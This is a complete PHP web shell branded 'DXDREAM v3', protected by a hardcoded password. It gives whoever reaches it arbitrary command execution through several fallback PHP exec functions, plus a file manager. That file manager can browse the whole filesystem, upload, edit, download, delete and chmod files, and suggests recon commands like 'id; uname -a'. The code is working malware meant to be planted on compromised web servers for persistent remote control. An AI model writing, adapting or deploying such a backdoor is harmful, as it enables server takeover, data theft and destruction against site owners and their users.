<?php
/**
 * DXDREAM v3 — Multi-OS + Terminal + Rename
 * Password: dxdream
 * Compatible: PHP 5.6 / 7.x / 8.x | Linux | Windows | BSD
 */
error_reporting(0);
@ini_set('display_errors', '0');
@ini_set('max_execution_time', '0');
if (function_exists('session_start')) { @session_start(); }

$auth_pass = 'dxdream';
$IS_WIN = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');

function dx_h($s) {
    return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8');
}

function dx_bytes($bytes) {
    $bytes = (float)$bytes;
    if ($bytes <= 0) return '0 B';
    $u = array('B','KB','MB','GB','TB');
    $i = (int)floor(log($bytes, 1024));
    if ($i < 0) $i = 0;
    if ($i > 4) $i = 4;
    return round($bytes / pow(1024, $i), 2) . ' ' . $u[$i];
}

function dx_join() {
    $parts = func_get_args();
    $out = array_shift($parts);
    foreach ($parts as $p) {
        $out = rtrim($out, "/\\") . DIRECTORY_SEPARATOR . ltrim($p, "/\\");
    }
    return $out;
}

function dx_exec($cmd) {
    global $IS_WIN;
    $cmd = (string)$cmd;
    $code = -1;
    $out = '';

    // Prefers OS shell wrapper
    if ($IS_WIN) {
        $full = 'cmd.exe /c ' . $cmd;
    } else {
        $full = 'bash -c ' . escapeshellarg($cmd);
        // if bash missing, bare cmd still tried below
    }

    $try = array($full, $cmd);

    foreach ($try as $c) {
        if (function_exists('proc_open')) {
            $desc = array(0 => array('pipe','r'), 1 => array('pipe','w'), 2 => array('pipe','w'));
            $p = @proc_open($c, $desc, $pipes, null, null);
            if (is_resource($p)) {
                fclose($pipes[0]);
                $out = stream_get_contents($pipes[1]);
                $err = stream_get_contents($pipes[2]);
                fclose($pipes[1]);
                fclose($pipes[2]);
                $code = proc_close($p);
                if ($err !== '') $out .= ($out !== '' ? "\n" : '') . $err;
                if ($out !== '' || $code === 0) return array($out, $code);
            }
        }
        if (function_exists('system')) {
            ob_start();
            @system($c, $code);
            $out = ob_get_clean();
            if ($out !== '' || $code === 0) return array($out, $code);
        }
        if (function_exists('passthru')) {
            ob_start();
            @passthru($c, $code);
            $out = ob_get_clean();
            if ($out !== '' || $code === 0) return array($out, $code);
        }
        if (function_exists('shell_exec')) {
            $out = (string)@shell_exec($c . ' 2>&1');
            return array($out, 0);
        }
        if (function_exists('exec')) {
            $lines = array();
            @exec($c . ' 2>&1', $lines, $code);
            return array(implode("\n", $lines), $code);
        }
    }

    // PHP-native fallbacks (no OS shell)
    if (preg_match('/^\s*pwd\s*$/i', $cmd)) {
        return array(getcwd() . "\n", 0);
    }
    if (preg_match('/^\s*id\s*$/i', $cmd) && function_exists('posix_geteuid')) {
        $u = function_exists('posix_getpwuid') ? @posix_getpwuid(posix_geteuid()) : null;
        $name = is_array($u) && isset($u['name']) ? $u['name'] : 'uid';
        return array('uid=' . posix_geteuid() . '(' . $name . ")\n", 0);
    }

    return array("No exec method available / command blocked\n", -1);
}

/* ===== AUTH ===== */
if (empty($_SESSION['dx_ok'])) {
    if (isset($_POST['password']) && (string)$_POST['password'] === $auth_pass) {
        $_SESSION['dx_ok'] = 1;
    } else {
        $err = isset($_POST['password'])
            ? '<div class="error">Incorrect password</div>' : '';
        header('Content-Type: text/html; charset=utf-8');
        echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>DXDREAM</title>
<style>
body{margin:0;min-height:100vh;display:flex;align-items:center;justify-content:center;
background:#0a0e0a;font-family:Segoe UI,Arial,sans-serif;color:#3fb950}
.box{background:#161b22;border:1px solid #30363d;border-radius:12px;padding:40px 36px;width:380px;text-align:center}
h1{color:#ff0000;letter-spacing:6px;margin:0 0 6px;font-size:34px;font-weight:900}
.sub{font-size:11px;letter-spacing:3px;opacity:.7;margin-bottom:22px}
input[type=password],input[type=submit]{width:100%;padding:12px;margin:8px 0;border-radius:6px;box-sizing:border-box;border:1px solid #30363d}
input[type=password]{background:#0d1117;color:#3fb950;text-align:center;letter-spacing:4px}
input[type=submit]{background:#238636;color:#fff;border:0;cursor:pointer;font-weight:700;letter-spacing:2px}
.error{color:#f85149;border:1px solid rgba(248,81,73,.3);background:rgba(248,81,73,.06);
padding:8px;border-radius:6px;margin-bottom:10px;font-size:12px}
</style></head><body><div class="box">
<h1>DXDREAM</h1><div class="sub">SECURE ACCESS</div>'.$err.'
<form method="post" action="">
<input type="password" name="password" placeholder="password" autofocus>
<input type="submit" value="UNLOCK">
</form></div></body></html>';
        exit;
    }
}

/* ===== GLOBALS ===== */
$root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : dirname(__FILE__);
if ($root === '' || $root === false) $root = dirname(__FILE__);
$self = isset($_SERVER['PHP_SELF']) ? $_SERVER['PHP_SELF'] : '';
$host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '';
$script_file = isset($_SERVER['SCRIPT_FILENAME']) ? $_SERVER['SCRIPT_FILENAME'] : __FILE__;

$cwd = isset($_REQUEST['cwd']) ? $_REQUEST['cwd'] : $root;
$rp = @realpath($cwd);
$cwd = ($rp !== false) ? $rp : $root;

$act = isset($_REQUEST['act']) ? $_REQUEST['act'] : '';
$msg = '';

/* ===== ACTIONS ===== */
if ($act === 'logout') {
    $_SESSION = array();
    if (function_exists('session_destroy')) @session_destroy();
    header('Location: ' . $self);
    exit;
}

if ($act === 'download' && isset($_GET['file'])) {
    $file = @realpath($_GET['file']);
    if ($file && is_file($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        header('Content-Length: ' . filesize($file));
        @readfile($file);
    }
    exit;
}

if ($act === 'delete' && isset($_REQUEST['file'])) {
    $file = @realpath($_REQUEST['file']);
    if ($file && is_file($file)) {
        @unlink($file);
        $msg = 'Deleted: ' . basename($file);
        $cwd = dirname($file);
    }
}

if ($act === 'rmdir' && isset($_REQUEST['dir'])) {
    $dir = @realpath($_REQUEST['dir']);
    if ($dir && is_dir($dir)) {
        $ok = true;
        if (class_exists('RecursiveDirectoryIterator')) {
            try {
                $it = new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS);
                $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);
                foreach ($files as $f) {
                    $f->isDir() ? @rmdir($f->getRealPath()) : @unlink($f->getRealPath());
                }
                @rmdir($dir);
            } catch (Exception $e) { $ok = false; }
        } else {
            $ok = @rmdir($dir);
        }
        $msg = $ok ? 'Dir removed' : 'rmdir failed';
        $cwd = dirname($dir);
    }
}

if ($act === 'rename' && isset($_REQUEST['file'], $_REQUEST['newname'])) {
    $file = @realpath($_REQUEST['file']);
    $newname = basename(str_replace(array('..', "\0"), '', $_REQUEST['newname']));
    if ($file && $newname !== '' && (is_file($file) || is_dir($file))) {
        $dest = dirname($file) . DIRECTORY_SEPARATOR . $newname;
        if (@rename($file, $dest)) {
            $msg = 'Renamed to ' . $newname;
            $cwd = dirname($dest);
        } else {
            $msg = 'Rename failed (permission?)';
            $cwd = dirname($file);
        }
    }
}

if ($act === 'save' && isset($_POST['file'], $_POST['content'])) {
    $file = @realpath($_POST['file']);
    if ($file && is_file($file) && is_writable($file)) {
        file_put_contents($file, $_POST['content']);
        $msg = 'Saved';
        $cwd = dirname($file);
        $_GET['view'] = $file;
    } else {
        $msg = 'Save failed';
    }
}

if ($act === 'upload' && isset($_FILES['file']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
    $name = basename($_FILES['file']['name']);
    $target = $cwd . DIRECTORY_SEPARATOR . $name;
    if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
        @chmod($target, 0644);
        $msg = 'Uploaded: ' . $name;
    } else {
        $msg = 'Upload failed';
    }
}

if ($act === 'create' && isset($_REQUEST['filename'])) {
    $name = basename(str_replace(array('..', "\0"), '', $_REQUEST['filename']));
    $newfile = $cwd . DIRECTORY_SEPARATOR . $name;
    if ($name !== '' && !file_exists($newfile)) {
        file_put_contents($newfile, '');
        @chmod($newfile, 0644);
        $msg = 'Created: ' . $name;
        $_GET['view'] = $newfile;
    }
}

if ($act === 'mkdir' && isset($_REQUEST['dirname'])) {
    $name = basename(str_replace(array('..', "\0"), '', $_REQUEST['dirname']));
    $newdir = $cwd . DIRECTORY_SEPARATOR . $name;
    if ($name !== '' && !is_dir($newdir)) {
        @mkdir($newdir, 0755, true);
        $msg = 'Folder: ' . $name;
    }
}

if ($act === 'chmod' && isset($_REQUEST['file'], $_REQUEST['perm'])) {
    $file = @realpath($_REQUEST['file']);
    if ($file) {
        @chmod($file, octdec($_REQUEST['perm']));
        $msg = 'chmod ' . $_REQUEST['perm'];
        $cwd = dirname($file);
    }
}

/* ===== TERMINAL (dedicated page or inline) ===== */
if (isset($_REQUEST['cmd']) && $_REQUEST['cmd'] !== '') {
    $cmd = (string)$_REQUEST['cmd'];
    $start = microtime(true);
    list($output, $code) = dx_exec($cmd);
    $dur = round(microtime(true) - $start, 4);

    // AJAX plain
    if (isset($_REQUEST['ajax']) && $_REQUEST['ajax'] == '1') {
        header('Content-Type: text/plain; charset=utf-8');
        echo $output;
        exit;
    }

    header('Content-Type: text/html; charset=utf-8');
    $ph = $IS_WIN ? 'C:\\> ' : '$ ';
    echo '<!DOCTYPE html><html><head><meta charset="utf-8"><title>DXDREAM Terminal</title>
<style>
*{box-sizing:border-box}body{margin:0;background:#0d1117;color:#3fb950;font-family:Consolas,Courier New,monospace;padding:18px}
.box{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:16px;max-width:1100px;margin:0 auto}
h2{font-size:13px;margin:0 0 10px} h2 span{color:#fff}
pre{background:#0d1117;border:1px solid #30363d;border-radius:4px;padding:12px;overflow:auto;
color:#7ee787;font-size:12px;line-height:1.45;white-space:pre-wrap;min-height:120px}
table{border-collapse:collapse;width:100%;margin:10px 0;font-size:11px}
td,th{border:1px solid #30363d;padding:6px 8px;text-align:left;color:#8b949e}
th{color:#3fb950} .ok{color:#3fb950}.fail{color:#f85149}
a{color:#58a6ff;text-decoration:none;margin-right:12px;font-size:12px}
input[type=text]{width:70%;background:#0d1117;color:#3fb950;border:1px solid #30363d;padding:8px;font-family:inherit}
button,.btn{background:#238636;color:#fff;border:0;padding:8px 14px;cursor:pointer;border-radius:4px;font-weight:700}
.row{margin:12px 0}
</style></head><body><div class="box">
<h2>'.dx_h($ph).'Command: <span>'.dx_h($cmd).'</span></h2>
<pre id="out">'.dx_h($output).'</pre>
<table>
<tr><th>OS</th><td>'.dx_h(PHP_OS).' / ' . ($IS_WIN ? 'Windows' : 'Unix') . '</td></tr>
<tr><th>Time</th><td>'.$dur.' s</td></tr>
<tr><th>Exit</th><td class="'.($code===0?'ok':'fail').'">'.(int)$code.'</td></tr>
<tr><th>Bytes</th><td>'.strlen($output).'</td></tr>
<tr><th>CWD</th><td>'.dx_h($cwd).'</td></tr>
</table>
<div class="row">
<form method="get" action="">
<input type="hidden" name="cwd" value="'.dx_h($cwd).'">
<input type="text" name="cmd" value="'.dx_h($cmd).'" autofocus>
<button type="submit">Run</button>
</form>
</div>
<p>
<a href="'.dx_h($self).'?cwd='.rawurlencode($cwd).'">Back to FM</a>
<a href="'.dx_h($self).'?cwd='.rawurlencode($cwd).'&cmd='.rawurlencode($cmd).'">Repeat</a>
<a href="'.dx_h($self).'?act=logout" style="color:#f85149">Logout</a>
</p>
</div></body></html>';
    exit;
}

/* ===== UI FILE MANAGER ===== */
$view_file = isset($_GET['view']) ? @realpath($_GET['view']) : '';
if ($view_file && !is_file($view_file)) $view_file = '';

$who = function_exists('get_current_user') ? @get_current_user() : '';
if (function_exists('posix_geteuid') && function_exists('posix_getpwuid')) {
    $pw = @posix_getpwuid(@posix_geteuid());
    if (is_array($pw) && isset($pw['name'])) $who = $pw['name'];
}

header('Content-Type: text/html; charset=utf-8');
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>DXDREAM — File Manager</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#0d1117;color:#3fb950;font-family:Consolas,'Courier New',monospace;font-size:13px;min-height:100vh;padding:16px}
.container{background:#161b22;border:1px solid #30363d;border-radius:8px;padding:18px;max-width:1200px;margin:0 auto}
h1{color:#3fb950;border-bottom:1px solid #30363d;padding-bottom:10px;margin-bottom:12px;font-size:18px}
h1 span{color:#ff0000}
h2{color:#3fb950;margin:14px 0 8px;font-size:13px}
.info-bar,.statusbar,.breadcrumb{color:#8b949e;margin-bottom:10px;font-size:11px}
.info-bar span,.statusbar span,.breadcrumb span{color:#3fb950}
.nav{background:#0d1117;padding:8px 10px;border:1px solid #30363d;margin-bottom:12px;border-radius:4px}
.nav a{color:#58a6ff;margin-right:10px;font-size:11px;text-decoration:none}
.nav a:hover{color:#fff}
.nav input[type=text]{background:#0d1117;color:#3fb950;border:1px solid #30363d;padding:4px 6px;font-family:monospace;font-size:11px;border-radius:3px}
.nav input[type=submit],.btn,button{background:#238636;color:#fff;border:none;padding:5px 12px;cursor:pointer;font-weight:600;border-radius:3px}
.nav input[type=submit]:hover,.btn:hover,button:hover{background:#2ea043}
table{border-collapse:collapse;width:100%;margin-bottom:12px}
th{background:#0d1117;color:#3fb950;padding:6px;text-align:left;font-size:11px;border-bottom:1px solid #30363d}
td{border-bottom:1px solid #21262d;padding:5px 6px;font-size:11px;color:#8b949e;vertical-align:middle}
tr:hover td{background:rgba(63,185,80,.04)}
a{color:#58a6ff;text-decoration:none}
a:hover{text-decoration:underline}
.dir{color:#3fb950;font-weight:bold}
.file{color:#8b949e}
.php,.dxd{color:#f85149}
.actions a{margin:0 3px;font-size:11px}
.toolbar{margin-bottom:8px}
.toolbar a,.toolbar span{background:#0d1117;border:1px solid #30363d;padding:4px 8px;margin-right:4px;font-size:11px;border-radius:3px;color:#58a6ff;cursor:pointer;display:inline-block}
.form-box{background:#0d1117;padding:10px;border:1px solid #30363d;margin-bottom:10px;border-radius:4px;display:none}
.form-box input[type=text],.form-box input[type=file]{background:#0d1117;color:#3fb950;border:1px solid #30363d;padding:5px;margin:4px 4px 4px 0}
textarea{width:100%;background:#0d1117;color:#7ee787;border:1px solid #30363d;padding:8px;font-family:monospace;font-size:12px;min-height:380px;border-radius:4px}
.msg{background:rgba(63,185,80,.08);border:1px solid #3fb950;color:#3fb950;padding:8px;border-radius:4px;margin-bottom:10px;font-size:12px}
.term-wrap{background:#0d1117;border:1px solid #30363d;border-radius:6px;padding:12px;margin-top:8px}
.term-wrap input[type=text]{width:75%;background:#0d1117;color:#3fb950;border:1px solid #30363d;padding:8px;font-family:monospace}
.term-out{background:#010409;border:1px solid #30363d;color:#7ee787;padding:10px;min-height:100px;max-height:320px;overflow:auto;white-space:pre-wrap;margin-top:8px;font-size:12px;display:none}
.footer{color:#8b949e;text-align:center;margin-top:18px;font-size:10px;border-top:1px solid #30363d;padding-top:10px}
.wm{position:fixed;top:10px;right:16px;font-size:20px;font-weight:900;color:#ff0000;opacity:.85;pointer-events:none;letter-spacing:3px}
</style>
</head>
<body>
<div class="wm">DXDREAM</div>
<div class="container">
<h1><span>DXDREAM</span> — File Manager v3</h1>

<div class="info-bar">
Root: <span><?php echo dx_h($root); ?></span> |
Server: <span><?php echo dx_h(isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '-'); ?></span> |
PHP: <span><?php echo dx_h(PHP_VERSION); ?></span> |
OS: <span><?php echo dx_h(PHP_OS); ?> (<?php echo $IS_WIN ? 'Windows' : 'Unix'; ?>)</span> |
User: <span><?php echo dx_h($who); ?></span> |
Script: <span><?php echo dx_h($script_file); ?></span>
</div>

<?php if ($msg !== ''): ?>
<div class="msg"><?php echo dx_h($msg); ?></div>
<?php endif; ?>

<div class="nav">
<form method="get" style="display:inline-block;margin-right:8px">
<input type="text" name="cwd" value="<?php echo dx_h($cwd); ?>" size="55">
<input type="submit" value="Go">
</form>
<a href="?cwd=<?php echo rawurlencode($root); ?>">Root</a>
<a href="?cwd=<?php echo rawurlencode(dirname($cwd)); ?>">Up</a>
<?php if ($IS_WIN): ?>
<a href="?cwd=C:\">C:\</a>
<a href="?cwd=C:\Windows\Temp">WinTemp</a>
<?php else: ?>
<a href="?cwd=/">/</a>
<a href="?cwd=/tmp">/tmp</a>
<a href="?cwd=/var/www">/var/www</a>
<a href="?cwd=/home">/home</a>
<?php endif; ?>
<a href="?cwd=<?php echo rawurlencode(dirname($script_file)); ?>">ShellDir</a>
<a href="?act=logout" style="color:#f85149;float:right">Logout</a>
</div>

<div class="breadcrumb">Path: <span><?php echo dx_h($cwd); ?></span></div>

<?php
$disk_total = @disk_total_space($cwd);
$disk_free  = @disk_free_space($cwd);
if ($disk_total && $disk_free !== false) {
    $disk_used = $disk_total - $disk_free;
    $disk_pct = $disk_total > 0 ? round($disk_used / $disk_total * 100, 1) : 0;
    echo '<div class="statusbar">Disk: <span>'.$disk_pct.'%</span> used ('.dx_h(dx_bytes($disk_used)).' / '.dx_h(dx_bytes($disk_total)).')</div>';
}
?>

<?php if ($view_file): 
    $content = @file_get_contents($view_file);
    $size = @filesize($view_file);
    $writable = is_writable($view_file);
?>
<h2>Edit: <?php echo dx_h($view_file); ?> (<?php echo dx_h(dx_bytes($size)); ?>)</h2>
<div class="toolbar">
<a href="?cwd=<?php echo rawurlencode($cwd); ?>">Back</a>
<a href="?act=download&file=<?php echo rawurlencode($view_file); ?>">Download</a>
</div>
<form method="post" action="">
<input type="hidden" name="act" value="save">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<input type="hidden" name="file" value="<?php echo dx_h($view_file); ?>">
<textarea name="content"><?php echo dx_h($content); ?></textarea>
<br><br>
<?php if ($writable): ?>
<button type="submit" class="btn">Save Changes</button>
<?php else: ?>
<span style="color:#f85149">Not writable</span>
<?php endif; ?>
<a href="?cwd=<?php echo rawurlencode($cwd); ?>" style="margin-left:10px">Cancel</a>
</form>

<?php else: ?>

<div class="toolbar">
<a href="?cwd=<?php echo rawurlencode($cwd); ?>">Refresh</a>
<a href="#" onclick="return showForm('upload')">Upload</a>
<a href="#" onclick="return showForm('newfile')">New File</a>
<a href="#" onclick="return showForm('newdir')">New Folder</a>
<a href="#" onclick="return showForm('rename')">Rename</a>
</div>

<div id="form-upload" class="form-box">
<form method="post" enctype="multipart/form-data" action="">
<input type="hidden" name="act" value="upload">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<input type="file" name="file" required>
<button type="submit">Upload</button>
<a href="#" onclick="return hideForms()" style="color:#f85149;margin-left:8px">Close</a>
</form>
</div>

<div id="form-newfile" class="form-box">
<form method="post" action="">
<input type="hidden" name="act" value="create">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<input type="text" name="filename" placeholder="shell.dxd / file.txt" style="width:280px" required>
<button type="submit">Create</button>
<a href="#" onclick="return hideForms()" style="color:#f85149;margin-left:8px">Close</a>
</form>
</div>

<div id="form-newdir" class="form-box">
<form method="post" action="">
<input type="hidden" name="act" value="mkdir">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<input type="text" name="dirname" placeholder="folder_name" style="width:280px" required>
<button type="submit">Mkdir</button>
<a href="#" onclick="return hideForms()" style="color:#f85149;margin-left:8px">Close</a>
</form>
</div>

<div id="form-rename" class="form-box">
<form method="post" action="">
<input type="hidden" name="act" value="rename">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<input type="text" name="file" id="rename_from" placeholder="full path lama" style="width:45%" required>
<input type="text" name="newname" placeholder="nama_baru.ext" style="width:25%" required>
<button type="submit">Rename</button>
<a href="#" onclick="return hideForms()" style="color:#f85149;margin-left:8px">Close</a>
</form>
<p style="color:#8b949e;font-size:10px;margin-top:6px">Atau klik tombol RN di baris file — path terisi otomatis.</p>
</div>

<table>
<thead>
<tr>
<th></th>
<th>Name</th>
<th>Size</th>
<th>Perm</th>
<th>Owner</th>
<th>Date</th>
<th style="width:180px">Actions</th>
</tr>
</thead>
<tbody>
<?php
$parent = dirname($cwd);
$show_up = ($cwd !== $root && $cwd !== '/' && !preg_match('/^[A-Za-z]:\\\\?$/', $cwd));
if ($show_up):
?>
<tr>
<td>DIR</td>
<td><a class="dir" href="?cwd=<?php echo rawurlencode($parent); ?>">..</a></td>
<td>—</td><td>—</td><td>—</td><td>—</td><td>—</td>
</tr>
<?php
endif;

$items = array();
if (is_dir($cwd) && is_readable($cwd)) {
    $dh = @opendir($cwd);
    if ($dh) {
        while (($entry = readdir($dh)) !== false) {
            if ($entry === '.' || $entry === '..') continue;
            $full = $cwd . DIRECTORY_SEPARATOR . $entry;
            $owner = '-';
            if (function_exists('posix_getpwuid')) {
                $o = @posix_getpwuid(@fileowner($full));
                if (is_array($o) && isset($o['name'])) $owner = $o['name'];
            } else {
                $owner = (string)@fileowner($full);
            }
            $perm = '-';
            $fp = @fileperms($full);
            if ($fp !== false) $perm = substr(sprintf('%o', $fp), -4);
            $items[] = array(
                'name' => $entry,
                'path' => $full,
                'is_dir' => is_dir($full),
                'size' => is_file($full) ? (int)@filesize($full) : 0,
                'perm' => $perm,
                'owner' => $owner,
                'mtime' => (int)@filemtime($full),
            );
        }
        closedir($dh);
    }
}

usort($items, function($a, $b) {
    if ($a['is_dir'] !== $b['is_dir']) return $a['is_dir'] ? -1 : 1;
    return strcasecmp($a['name'], $b['name']);
});

foreach ($items as $item) {
    $ext = strtolower(pathinfo($item['name'], PATHINFO_EXTENSION));
    $class = $item['is_dir'] ? 'dir' : 'file';
    if (in_array($ext, array('php','phtml','php3','php4','php5','php7','dxd'), true)) $class = 'php';
    $link = $item['is_dir']
        ? '?cwd=' . rawurlencode($item['path'])
        : '?cwd=' . rawurlencode($cwd) . '&view=' . rawurlencode($item['path']);
    $icon = $item['is_dir'] ? 'DIR' : 'FILE';
    $sz = $item['is_dir'] ? '—' : dx_bytes($item['size']);
    $date = $item['mtime'] ? date('Y-m-d H:i', $item['mtime']) : '—';
    echo '<tr>';
    echo '<td>'.$icon.'</td>';
    echo '<td><a class="'.dx_h($class).'" href="'.$link.'">'.dx_h($item['name']).'</a></td>';
    echo '<td>'.dx_h($sz).'</td>';
    echo '<td>'.dx_h($item['perm']).'</td>';
    echo '<td>'.dx_h($item['owner']).'</td>';
    echo '<td>'.dx_h($date).'</td>';
    echo '<td class="actions">';
    if (!$item['is_dir']) {
        echo '<a href="?cwd='.rawurlencode($cwd).'&view='.rawurlencode($item['path']).'">ED</a>';
        echo '<a href="?act=download&file='.rawurlencode($item['path']).'">DL</a>';
        echo '<a href="#" onclick="return prepRename(\''.dx_h($item['path']).'\',\''.dx_h($item['name']).'\')">RN</a>';
        echo '<a style="color:#f85149" href="?act=delete&file='.rawurlencode($item['path']).'&cwd='.rawurlencode($cwd).'" onclick="return confirm(\'Delete?\')">DEL</a>';
    } else {
        echo '<a href="#" onclick="return prepRename(\''.dx_h($item['path']).'\',\''.dx_h($item['name']).'\')">RN</a>';
        echo '<a style="color:#f85149" href="?act=rmdir&dir='.rawurlencode($item['path']).'&cwd='.rawurlencode($cwd).'" onclick="return confirm(\'Delete folder?\')">DEL</a>';
    }
    echo '<a href="?act=chmod&file='.rawurlencode($item['path']).'&perm=0755&cwd='.rawurlencode($cwd).'">755</a>';
    echo '<a href="?act=chmod&file='.rawurlencode($item['path']).'&perm=0644&cwd='.rawurlencode($cwd).'">644</a>';
    echo '</td></tr>';
}
if (empty($items)) {
    echo '<tr><td colspan="7" style="text-align:center;padding:20px">Empty or unreadable</td></tr>';
}
?>
</tbody>
</table>

<!-- ===== TERMINAL INLINE (aktif) ===== -->
<h2>Terminal (<?php echo $IS_WIN ? 'cmd' : 'bash'; ?>)</h2>
<div class="term-wrap">
<form id="termform" method="get" action="" onsubmit="return runTerm(event)">
<input type="hidden" name="cwd" value="<?php echo dx_h($cwd); ?>">
<span style="color:#8b949e"><?php echo $IS_WIN ? 'C:&gt;' : '$'; ?></span>
<input type="text" name="cmd" id="termcmd" placeholder="<?php echo $IS_WIN ? 'dir &amp; whoami' : 'id; uname -a; ls -la'; ?>" value="">
<button type="submit">Run</button>
<button type="button" onclick="runTermNew()">New Tab</button>
</form>
<div class="term-out" id="termout"></div>
<p style="color:#8b949e;font-size:10px;margin-top:6px">
Tips: <code>id</code> · <code>uname -a</code> · <code>ls -la</code> · Windows: <code>whoami</code> · <code>dir</code>
· AJAX mode (inline) / New Tab untuk halaman terminal penuh
</p>
</div>

<?php endif; ?>

<div class="footer">
DXDREAM FM v3 | <?php echo dx_h($host); ?> | <?php echo date('Y-m-d H:i:s'); ?> |
<a href="?act=logout" style="color:#f85149">Logout</a>
</div>
</div>

<script>
function showForm(id) {
    hideForms();
    var el = document.getElementById('form-' + id);
    if (el) el.style.display = 'block';
    return false;
}
function hideForms() {
    var ids = ['upload','newfile','newdir','rename'];
    for (var i=0;i<ids.length;i++) {
        var el = document.getElementById('form-' + ids[i]);
        if (el) el.style.display = 'none';
    }
    return false;
}
function prepRename(path, name) {
    showForm('rename');
    document.getElementById('rename_from').value = path;
    var nn = document.querySelector('#form-rename input[name=newname]');
    if (nn) { nn.value = name; nn.focus(); }
    return false;
}
function runTermNew() {
    var c = document.getElementById('termcmd').value;
    if (!c) return;
    var cwd = <?php echo json_encode($cwd); ?>;
    window.open('?cwd=' + encodeURIComponent(cwd) + '&cmd=' + encodeURIComponent(c), '_blank');
}
function runTerm(e) {
    if (e) e.preventDefault();
    var c = document.getElementById('termcmd').value;
    if (!c) return false;
    var cwd = <?php echo json_encode($cwd); ?>;
    var out = document.getElementById('termout');
    out.style.display = 'block';
    out.textContent = 'Running...';
    var xhr = new XMLHttpRequest();
    xhr.open('POST', location.pathname + location.search.split('?')[0], true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.onreadystatechange = function() {
        if (xhr.readyState === 4) {
            out.textContent = xhr.responseText || '(empty)';
        }
    };
    xhr.send('ajax=1&cwd=' + encodeURIComponent(cwd) + '&cmd=' + encodeURIComponent(c));
    return false;
}
</script>
</body>
</html>
<?php